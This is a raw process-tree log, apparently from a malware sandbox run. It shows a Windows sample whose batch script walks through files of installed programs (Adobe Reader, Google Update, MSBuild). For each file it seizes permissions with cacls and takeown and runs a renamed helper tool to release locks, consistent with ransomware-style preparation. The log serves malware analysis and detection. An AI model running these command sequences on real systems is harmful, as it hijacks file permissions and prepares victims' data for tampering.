C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\can03.ths"3⤵
- Modifies file permissions
PID:616
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c gAw1Zqdb.exe -accepteula "can03.ths" -nobanner3⤵PID:236
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula "can03.ths" -nobanner4⤵PID:1004
-
-
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:1532
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\JEFKEfVx.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\SaslPrep\SaslPrepProfile_norm_bidi.spp""2⤵PID:904
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\SaslPrep\SaslPrepProfile_norm_bidi.spp" /E /G Admin:F /C3⤵PID:992
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\SaslPrep\SaslPrepProfile_norm_bidi.spp"3⤵
- Modifies file permissions
PID:940
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c gAw1Zqdb.exe -accepteula "SaslPrepProfile_norm_bidi.spp" -nobanner3⤵PID:1108
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula "SaslPrepProfile_norm_bidi.spp" -nobanner4⤵PID:792
-
-
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:1604
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\JEFKEfVx.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\Mac\ROMAN.TXT""2⤵PID:1408
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\Mac\ROMAN.TXT" /E /G Admin:F /C3⤵PID:800
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\Mac\ROMAN.TXT"3⤵
- Modifies file permissions
PID:300
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c gAw1Zqdb.exe -accepteula "ROMAN.TXT" -nobanner3⤵PID:1984
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula "ROMAN.TXT" -nobanner4⤵PID:2008
-
-
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:1184
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\JEFKEfVx.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\win\CP1257.TXT""2⤵PID:1928
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\win\CP1257.TXT" /E /G Admin:F /C3⤵PID:616
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\win\CP1257.TXT"3⤵PID:1896
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c gAw1Zqdb.exe -accepteula "CP1257.TXT" -nobanner3⤵PID:1040
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula "CP1257.TXT" -nobanner4⤵PID:224
-
-
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:2016
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\JEFKEfVx.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\forms_distributed.gif""2⤵PID:2000
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\forms_distributed.gif" /E /G Admin:F /C3⤵PID:940
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\forms_distributed.gif"3⤵
- Modifies file permissions
PID:2028
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c gAw1Zqdb.exe -accepteula "forms_distributed.gif" -nobanner3⤵PID:792
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula "forms_distributed.gif" -nobanner4⤵PID:1716
-
-
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:904
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\JEFKEfVx.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\reviews_sent.gif""2⤵PID:1756
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\reviews_sent.gif" /E /G Admin:F /C3⤵PID:300
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\reviews_sent.gif"3⤵PID:1196
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c gAw1Zqdb.exe -accepteula "reviews_sent.gif" -nobanner3⤵PID:948
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula "reviews_sent.gif" -nobanner4⤵PID:2020
-
-
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:616
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\JEFKEfVx.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\stop_collection_data.gif""2⤵PID:212
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\stop_collection_data.gif" /E /G Admin:F /C3⤵PID:2016
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\stop_collection_data.gif"3⤵
- Modifies file permissions
PID:1132
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c gAw1Zqdb.exe -accepteula "stop_collection_data.gif" -nobanner3⤵PID:1780
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula "stop_collection_data.gif" -nobanner4⤵PID:1328
-
-
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:2028
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\JEFKEfVx.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\ReadMe.htm""2⤵PID:1940
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\ReadMe.htm" /E /G Admin:F /C3⤵PID:1308
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\ReadMe.htm"3⤵PID:952
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c gAw1Zqdb.exe -accepteula "ReadMe.htm" -nobanner3⤵PID:1884
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula "ReadMe.htm" -nobanner4⤵PID:1548
-
-
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:1196
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\JEFKEfVx.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\MinionPro-It.otf""2⤵PID:948
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\MinionPro-It.otf" /E /G Admin:F /C3⤵PID:616
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\MinionPro-It.otf"3⤵PID:1364
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c gAw1Zqdb.exe -accepteula "MinionPro-It.otf" -nobanner3⤵PID:236
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula "MinionPro-It.otf" -nobanner4⤵PID:228
-
-
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:1132
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\JEFKEfVx.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\ZX______.PFB""2⤵PID:2044
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\ZX______.PFB" /E /G Admin:F /C3⤵PID:2028
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\ZX______.PFB"3⤵PID:212
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c gAw1Zqdb.exe -accepteula "ZX______.PFB" -nobanner3⤵PID:904
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula "ZX______.PFB" -nobanner4⤵PID:240
-
-
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:1052
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\JEFKEfVx.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\brt04.hsp""2⤵PID:1888
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\brt04.hsp" /E /G Admin:F /C3⤵PID:1940
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\brt04.hsp"3⤵PID:232
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c gAw1Zqdb.exe -accepteula "brt04.hsp" -nobanner3⤵PID:1840
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula "brt04.hsp" -nobanner4⤵PID:1928
-
-
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:940
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\JEFKEfVx.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\engphon.env""2⤵PID:2020
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\engphon.env" /E /G Admin:F /C3⤵PID:696
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\engphon.env"3⤵PID:1040
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c gAw1Zqdb.exe -accepteula "engphon.env" -nobanner3⤵PID:732
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula "engphon.env" -nobanner4⤵PID:928
-
-
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:764
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\JEFKEfVx.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\Mac\CORPCHAR.TXT""2⤵PID:240
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\Mac\CORPCHAR.TXT" /E /G Admin:F /C3⤵PID:1052
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\Mac\CORPCHAR.TXT"3⤵
- Modifies file permissions
PID:1604
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c gAw1Zqdb.exe -accepteula "CORPCHAR.TXT" -nobanner3⤵PID:1196
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula "CORPCHAR.TXT" -nobanner4⤵PID:552
-
-
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:1700
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\JEFKEfVx.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\win\CP1250.TXT""2⤵PID:2016
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\win\CP1250.TXT" /E /G Admin:F /C3⤵PID:1840
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\win\CP1250.TXT"3⤵PID:1120
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c gAw1Zqdb.exe -accepteula "CP1250.TXT" -nobanner3⤵PID:1408
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula "CP1250.TXT" -nobanner4⤵PID:1184
-
-
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:224
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\JEFKEfVx.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\add_reviewer.gif""2⤵PID:1168
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\add_reviewer.gif" /E /G Admin:F /C3⤵PID:1788
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\add_reviewer.gif"3⤵PID:1540
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c gAw1Zqdb.exe -accepteula "add_reviewer.gif" -nobanner3⤵PID:992
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula "add_reviewer.gif" -nobanner4⤵PID:904
-
-
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:1052
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\JEFKEfVx.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\forms_received.gif""2⤵PID:832
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\forms_received.gif" /E /G Admin:F /C3⤵PID:1524
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\forms_received.gif"3⤵PID:1212
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c gAw1Zqdb.exe -accepteula "forms_received.gif" -nobanner3⤵PID:1884
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula "forms_received.gif" -nobanner4⤵PID:236
-
-
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:1132
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\JEFKEfVx.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\reviews_super.gif""2⤵PID:1452
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\reviews_super.gif" /E /G Admin:F /C3⤵PID:1888
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\reviews_super.gif"3⤵
- Modifies file permissions
PID:1644
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c gAw1Zqdb.exe -accepteula "reviews_super.gif" -nobanner3⤵PID:1444
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula "reviews_super.gif" -nobanner4⤵PID:1040
-
-
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:1928
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\JEFKEfVx.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\submission_history.gif""2⤵PID:928
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\submission_history.gif" /E /G Admin:F /C3⤵PID:1540
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\submission_history.gif"3⤵
- Modifies file permissions
PID:1548
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c gAw1Zqdb.exe -accepteula "submission_history.gif" -nobanner3⤵PID:992
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula "submission_history.gif" -nobanner4⤵PID:336
-
-
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:2000
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\JEFKEfVx.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\CMap\Identity-H""2⤵PID:1940
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\CMap\Identity-H" /E /G Admin:F /C3⤵PID:1212
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\CMap\Identity-H"3⤵PID:1840
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c gAw1Zqdb.exe -accepteula "Identity-H" -nobanner3⤵PID:1884
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula "Identity-H" -nobanner4⤵PID:1716
-
-
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:792
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\JEFKEfVx.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\MinionPro-Regular.otf""2⤵PID:2028
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\MinionPro-Regular.otf" /E /G Admin:F /C3⤵PID:1012
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\MinionPro-Regular.otf"3⤵
- Modifies file permissions
PID:1040
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c gAw1Zqdb.exe -accepteula "MinionPro-Regular.otf" -nobanner3⤵PID:1364
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula "MinionPro-Regular.otf" -nobanner4⤵PID:212
-
-
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:1452
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\JEFKEfVx.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\ZY______.PFB""2⤵PID:1328
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\ZY______.PFB" /E /G Admin:F /C3⤵PID:1780
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\ZY______.PFB"3⤵PID:428
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c gAw1Zqdb.exe -accepteula "ZY______.PFB" -nobanner3⤵PID:992
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula "ZY______.PFB" -nobanner4⤵PID:2000
-
-
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:2008
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\JEFKEfVx.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\brt32.clx""2⤵PID:760
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\brt32.clx" /E /G Admin:F /C3⤵PID:1840
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\brt32.clx"3⤵
- Modifies file permissions
PID:1132
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c gAw1Zqdb.exe -accepteula "brt32.clx" -nobanner3⤵PID:940
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula "brt32.clx" -nobanner4⤵PID:1068
-
-
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:240
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\JEFKEfVx.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\usa.fca""2⤵PID:856
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\usa.fca" /E /G Admin:F /C3⤵PID:1040
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\usa.fca"3⤵PID:844
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c gAw1Zqdb.exe -accepteula "usa.fca" -nobanner3⤵PID:1056
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula "usa.fca" -nobanner4⤵PID:872
-
-
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:1960
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\JEFKEfVx.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\Mac\CROATIAN.TXT""2⤵PID:1372
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\Mac\CROATIAN.TXT" /E /G Admin:F /C3⤵PID:1168
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\Mac\CROATIAN.TXT"3⤵PID:1096
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c gAw1Zqdb.exe -accepteula "CROATIAN.TXT" -nobanner3⤵PID:616
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula "CROATIAN.TXT" -nobanner4⤵PID:552
-
-
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:904
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\JEFKEfVx.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\win\CP1251.TXT""2⤵PID:1120
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\win\CP1251.TXT" /E /G Admin:F /C3⤵PID:228
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\win\CP1251.TXT"3⤵
- Modifies file permissions
PID:1068
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c gAw1Zqdb.exe -accepteula "CP1251.TXT" -nobanner3⤵PID:624
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula "CP1251.TXT" -nobanner4⤵PID:240
-
-
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:1212
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\JEFKEfVx.bat" "C:\Program Files (x86)\Google\Update\1.3.35.452\GoogleUpdateSetup.exe""2⤵PID:1928
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Google\Update\1.3.35.452\GoogleUpdateSetup.exe" /E /G Admin:F /C3⤵PID:1644
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Google\Update\1.3.35.452\GoogleUpdateSetup.exe"3⤵PID:872
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c gAw1Zqdb.exe -accepteula "GoogleUpdateSetup.exe" -nobanner3⤵PID:952
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula "GoogleUpdateSetup.exe" -nobanner4⤵PID:1888
-
-
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:1444
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\JEFKEfVx.bat" "C:\Program Files (x86)\MSBuild\Microsoft\Windows Workflow Foundation\v3.5\Workflow.VisualBasic.Targets""2⤵PID:948
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\MSBuild\Microsoft\Windows Workflow Foundation\v3.5\Workflow.VisualBasic.Targets" /E /G Admin:F /C3⤵PID:1524
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\MSBuild\Microsoft\Windows Workflow Foundation\v3.5\Workflow.VisualBasic.Targets"3⤵PID:2008
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c gAw1Zqdb.exe -accepteula "Workflow.VisualBasic.Targets" -nobanner3⤵PID:1100
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula "Workflow.VisualBasic.Targets" -nobanner4⤵PID:904
-
-
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:1780
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\JEFKEfVx.bat" "C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe""2⤵PID:1308
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe" /E /G Admin:F /C3⤵PID:1700
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe"3⤵
- Modifies file permissions
PID:1940
-
-
